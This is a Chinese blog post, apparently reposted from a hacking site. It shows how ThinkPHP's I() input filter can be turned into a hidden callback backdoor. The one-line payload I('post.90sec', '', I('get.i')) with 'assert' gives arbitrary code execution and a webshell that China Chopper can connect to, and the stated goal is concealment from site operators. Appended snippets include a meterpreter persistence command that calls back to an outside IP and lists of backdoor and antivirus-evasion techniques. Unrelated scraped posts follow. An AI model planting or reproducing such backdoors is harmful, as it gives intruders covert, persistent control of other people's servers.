原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html
90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。
thinkphp的I函数,是其处理输入的函数,一般用法为I('get.id')——从$_GET数组中取出键为id的值,post、cookie类似。
let me see see I函数的代码:
01 |
function I($name, $default = '', $filter = null, $datas = null) |
08 |
$filters = isset($filter) ? $filter : C('DEFAULT_FILTER'); |
10 |
if (is_string($filters)) { |
11 |
$filters = explode(',', $filters); |
13 |
foreach ($filters as $filter) { |
14 |
$data = array_map_recursive($filter, $data); // 参数过滤 |
17 |
} elseif (isset($input[$name])) { |
19 |
$data = $input[$name]; |
20 |
$filters = isset($filter) ? $filter : C('DEFAULT_FILTER'); |
22 |
if (is_string($filters)) { |
23 |
if (0 === strpos($filters, '/')) { |
24 |
if (1 !== preg_match($filters, (string) $data)) { |
26 |
return isset($default) ? $default : null; |
29 |
$filters = explode(',', $filters); |
31 |
} elseif (is_int($filters)) { |
32 |
$filters = array($filters); |
35 |
if (is_array($filters)) { |
36 |
foreach ($filters as $filter) { |
37 |
if (function_exists($filter)) { |
38 |
$data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤 |
40 |
$data = filter_var($data, is_int($filter) ? $filter : filter_id($filter)); |
41 |
if (false === $data) { |
42 |
return isset($default) ? $default : null; |
I函数的第三个参数是$filter,作用是对变量的过滤。
新版本(3.2.3)中,$filter可以传入两种4种值:
1.一个过滤函数(字符串)
2.一些过滤函数组成的字符串,其间用“|”分割
3.一些过滤函数的字符串组成的数组
4.以“/”开头的正则表达式
可见代码,若$filter为空的话,其默认值为C('DEFAULT_FILTER')。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars

以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:
1 |
if (0 === strpos($filters, '/')) { |
2 |
if (1 !== preg_match($filters, (string) $data)) { |
4 |
return isset($default) ? $default : null; |
如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。
而回调函数部分,是我们留后门的关键。核心是这一段:
01 |
if (is_array($filters)) { |
02 |
foreach ($filters as $filter) { |
03 |
if (function_exists($filter)) { |
04 |
$data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤 |
06 |
$data = filter_var($data, is_int($filter) ? $filter : filter_id($filter)); |
07 |
if (false === $data) { |
08 |
return isset($default) ? $default : null; |
如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。
我们跟进array_map_recursive函数:
01 |
function array_map_recursive($filter, $data) |
04 |
foreach ($data as $key => $val) { |
05 |
$result[$key] = is_array($val) |
06 |
? array_map_recursive($filter, $val) |
07 |
: call_user_func($filter, $val); |
明显是一个递归执行的过程,最后调用的是call_user_func 。
还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。
所以,我们只需要随意找个controller,在可访问的方法中插入:
1 |
I('post.90sec', '', I('get.i')); |
如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。
我就拿thinkphp默认的IndexController下的index方法示例:

如下即可执行任意代码:

一个回调后门,菜刀也可以连接。
- 使用大白菜U盘进入PE后再次重启电脑会留后门的清理方法
使用大白菜U盘进入PE后再次重启电脑会留后门,这个后门主要是自动下载安装一些软件,比如金山毒霸等. 清除方法: 1.每次用完PE重启前,清理以下地方: ①c:\Windows\xxxxx.exe(查看 ...
- 入侵者已经拿到了主机的管理员权限,请你列举几种留后门的方法:(windows和LINUX系统均可)
Webshell后门 XSS后门 远控后门&rootit(windows&LINUX) SSH后门 SHIFT终端服务器后门 系统用户账号克隆 SQL数据库扩展存储型后门 SQL数据库 ...
- meterpreter 如何留后门,使攻击持久化
安装后门方法一:meterpreter >run persistence -X -i 5 -p 443 -r 192.168.0.108 Persistent agent script is 6 ...
- thinkphp网站后门-发现后门(Webshell)文件
不知道能不能解决, 1.登录阿里云后台,找到后门文件删除 2.执行 中国镜像 composer config -g repo.packagist composer https://packagist. ...
- ASPX版菜刀一句话,留后门专用
首先解释一下为什么要做这个玩意:众所周知.net一句话是不能插入到文件之中的,除非那个页面使用Jscript编写,但是现在看来 Jscript市场很低,遇到的.net站基本都是C#.新建一个SHELL ...
- PHP之编写日志文件留后门(免杀)
(我知道你们都喜欢干货,所以也没亏待你们,请到文末吧,成果附件已上传~) 本文原创作者:Laimooc(原名xoanHn) 鄙人宗旨: 本人秉着爱学习爱恶搞爱研究爱进步并且遵纪守法的心态写下这篇文章, ...
- 奇淫异巧之 PHP 后门
整理大部分来源信安之路 对于隐蔽来说,有以下几点要素: 1.熟悉环境,模拟环境,适应环境,像一只变色龙一样隐藏 2.清除痕迹,避免运维发现 3.避免后门特征值被 D 盾等工具检测到 姿势 一般过狗思路 ...
- PHP后门隐藏与维持技巧
在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普. AD: 0×00 ...
- OpenSSH后门获取root密码及防范
OpenSSH后门获取root密码及防范 相对于Windows操作系统,Linux操作系统的密码较难获取.而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者 ...
随机推荐
- Emacs 之窗口管理
// */ // ]]> Emacs 之窗口管理 Table of Contents 1. Emacs 窗口相关 1.1. Emacs 里调整 window 大小 1.2. Emacs winn ...
- 【项目经验】 Html Select 遇上 Easyui
一.背景: 当我在做课表选择触发事件的时候,我发现了一个问题,就是我们直接用的easyui-combobox里面的的绑定事件(onchange)貌似触发不了,这是为什么呢? 二.结论及方法 .原始方法 ...
- 重写ViewPager方法,防止滑动广告尾页的时候,Fragment也改变! (如果广告设置为轮播的话,不需要重写ViewPager)
public class MyViewPager extends ViewPager{ public MyViewPager(Context context) { this(context, null ...
- HTML5实践 -- 使用CSS3 Media Queries实现响应式设计
CSS3 Media用法介绍:http://www.w3cplus.com/content/css3-media-queries 转载请注明原创地址:http://www.cnblogs.com/so ...
- java发送短信--httpclient方式
最近头让我写个发送短信的java程序检测BI系统,检查数据库是否有异常发送,有则发送短信到头的手机里.这里我直说httpclient方式的get请求方式,并且已经有方式的短信的接口了,所以只要再加上参 ...
- sprint3冲刺第二天
队友: 郭志豪:http://www.cnblogs.com/gzh13692021053/ 杨子健:http://www.cnblogs.com/yzj666/ 刘森松:http://www.cnb ...
- Mac 显示 Finder 隐藏文件
显示Mac隐藏文件的命令:defaults write com.apple.finder AppleShowAllFiles -bool true 隐藏Mac隐藏文件的命令:defaults writ ...
- html5大纲
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 简单验证码识别(matlab)
简单验证码识别(matlab) 验证码识别, matlab 昨天晚上一个朋友给我发了一些验证码的图片,希望能有一个自动识别的程序. 1474529971027.jpg 我看了看这些样本,发现都是很规则 ...
- SQLite错误码
在SQLite中,执行SQL语句的sqlite3_exec()和sqlite3_prepare()两个核心方法的返回值都是一个整型数据,因此,当程序执行出现错误时,我们可以根据执行返回的整型数据来判断 ...